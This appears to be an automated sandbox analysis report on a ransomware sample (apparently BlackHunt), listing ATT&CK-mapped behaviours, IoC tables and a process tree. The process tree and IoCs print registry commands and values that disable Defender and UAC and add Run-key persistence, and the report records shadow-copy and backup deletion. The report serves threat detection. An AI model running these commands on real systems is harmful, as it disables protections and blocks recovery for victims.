962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122

Data Destruction

T1485

pid	Process
1936	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5896	bcdedit.exe
5988	bcdedit.exe

Renames multiple (513) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5732	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\W:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\E:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\R:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\T:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\O:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\I:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\B:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\H:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\Y:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\U:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\K:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\M:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\G:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\L:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\P:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\S:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\V:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\N:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\A:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\J:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\Z:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\X:	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jni.h	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfont.properties.ja	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\rt.jar	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_ReadMe.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\DisconnectLock.vstm	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_ReadMe.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\javacpl.cpl	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\ExpandOptimize.3g2	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\default.jfc	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\giflib.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_de.properties	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\dotnet\#BlackHunt_ReadMe.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dynalink.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\#BlackHunt_ReadMe.hta	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightDemiBold.ttf	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\resources.jar	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\dotnet\LICENSE.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\asm.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\BackupSelect.easmx	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaSansDemiBold.ttf	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\mesa3d.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11cryptotoken.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\GRAY.pf	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkNoDrop32x32.gif	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiBold.ttf	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\hijrah-config-umalqura.properties	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\management.properties	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_pt_BR.properties	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.hta	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\java.security	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\JoinRestart.clr	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\icu.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\charsets.jar	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightItalic.ttf	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_Private.key	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaTypewriterBold.ttf	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\#BlackHunt_ReadMe.txt	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\webkit.md	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.hta	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
868	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4340	vssadmin.exe
3032	vssadmin.exe
5060	vssadmin.exe
4984	vssadmin.exe
5216	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Token: SeRestorePrivilege	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Token: SeBackupPrivilege	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Token: SeTakeOwnershipPrivilege	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Token: SeAuditPrivilege	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Token: SeSecurityPrivilege	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Token: SeIncBasePriorityPrivilege	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Token: SeBackupPrivilege	2584	vssvc.exe
Token: SeRestorePrivilege	2584	vssvc.exe
Token: SeAuditPrivilege	2584	vssvc.exe
Token: SeBackupPrivilege	5960	wbengine.exe
Token: SeRestorePrivilege	5960	wbengine.exe
Token: SeSecurityPrivilege	5960	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 2132	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	91
PID 1808 wrote to memory of 2132	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	91
PID 1808 wrote to memory of 2596	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	93
PID 1808 wrote to memory of 2596	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	93
PID 1808 wrote to memory of 1904	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	94
PID 1808 wrote to memory of 1904	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	94
PID 1808 wrote to memory of 4648	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	97
PID 1808 wrote to memory of 4648	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	97
PID 1808 wrote to memory of 4332	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	99
PID 1808 wrote to memory of 4332	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	99
PID 2132 wrote to memory of 4608	2132	cmd.exe	101
PID 2132 wrote to memory of 4608	2132	cmd.exe	101
PID 2596 wrote to memory of 4580	2596	cmd.exe	103
PID 1904 wrote to memory of 4900	1904	cmd.exe	102
PID 1904 wrote to memory of 4900	1904	cmd.exe	102
PID 2596 wrote to memory of 4580	2596	cmd.exe	103
PID 4648 wrote to memory of 4844	4648	cmd.exe	104
PID 4648 wrote to memory of 4844	4648	cmd.exe	104
PID 4332 wrote to memory of 2912	4332	cmd.exe	105
PID 4332 wrote to memory of 2912	4332	cmd.exe	105
PID 1808 wrote to memory of 1816	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	108
PID 1808 wrote to memory of 1816	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	108
PID 1808 wrote to memory of 4384	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	111
PID 1808 wrote to memory of 4384	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	111
PID 1808 wrote to memory of 864	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	113
PID 1808 wrote to memory of 864	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	113
PID 1808 wrote to memory of 968	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	115
PID 1808 wrote to memory of 968	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	115
PID 1816 wrote to memory of 4268	1816	cmd.exe	117
PID 1816 wrote to memory of 4268	1816	cmd.exe	117
PID 1808 wrote to memory of 2712	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	119
PID 1808 wrote to memory of 2712	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	119
PID 4384 wrote to memory of 3180	4384	cmd.exe	118
PID 4384 wrote to memory of 3180	4384	cmd.exe	118
PID 1808 wrote to memory of 1280	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	121
PID 1808 wrote to memory of 1280	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	121
PID 864 wrote to memory of 2916	864	cmd.exe	123
PID 864 wrote to memory of 2916	864	cmd.exe	123
PID 1808 wrote to memory of 1148	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	127
PID 1808 wrote to memory of 1148	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	127
PID 968 wrote to memory of 3596	968	cmd.exe	124
PID 968 wrote to memory of 3596	968	cmd.exe	124
PID 1808 wrote to memory of 1036	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	126
PID 1808 wrote to memory of 1036	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	126
PID 1808 wrote to memory of 4196	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	129
PID 1808 wrote to memory of 4196	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	129
PID 1808 wrote to memory of 3152	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	130
PID 1808 wrote to memory of 3152	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	130
PID 2712 wrote to memory of 4100	2712	cmd.exe	136
PID 2712 wrote to memory of 4100	2712	cmd.exe	136
PID 1808 wrote to memory of 1432	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	135
PID 1808 wrote to memory of 1432	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	135
PID 1808 wrote to memory of 4676	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	134
PID 1808 wrote to memory of 4676	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	134
PID 1808 wrote to memory of 3284	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	138
PID 1808 wrote to memory of 3284	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	138
PID 1808 wrote to memory of 2976	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	144
PID 1808 wrote to memory of 2976	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	144
PID 1808 wrote to memory of 1412	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	140
PID 1808 wrote to memory of 1412	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	140
PID 1808 wrote to memory of 4300	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	142
PID 1808 wrote to memory of 4300	1808	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe	142
PID 1280 wrote to memory of 4572	1280	cmd.exe	161
PID 1280 wrote to memory of 4572	1280	cmd.exe	161

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe
"C:\Users\Admin\AppData\Local\Temp\962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
